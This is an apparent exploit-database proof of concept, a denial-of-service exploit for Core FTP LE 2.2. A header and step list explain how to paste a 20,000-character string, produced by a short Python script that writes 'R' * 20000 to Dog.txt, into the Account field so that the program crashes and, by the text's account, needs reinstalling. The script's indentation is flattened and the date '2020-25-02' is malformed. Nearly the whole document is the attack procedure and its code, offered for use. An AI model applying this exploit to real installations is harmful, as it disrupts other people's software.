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# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)  
# Date: 2020-25-02  
# Exploit Author: Ismael Nava  
# Vendor Homepage: http://www.coreftp.com/  
# Software Link: http://www.coreftp.com/download.html  
# Version: 2.2 build 1947  
# Tested on: Windows 10 Home x64  
# CVE : n/a  
  
#STEPS  
# Open the program Core FTP LE  
# In File select the option Connect  
# Click in the option Advanced from the fiel Host / IP / URL  
# Run the python exploit script, it will create a new .txt files  
# Copy the content of the file "Dog.txt"  
# Paste the content in the field Account  
# Click in OK  
# After Core FTP lE closed, the program did not work again if the user try to  
# open again, so it is necessary uninstall and install again  
# End :)  
  
  
buffer = 'R' * 20000  
  
try:   
file = open("Dog.txt","w")  
file.write(buffer)  
file.close()  
  
print("Archive ready")  
except:  
print("Archive no ready")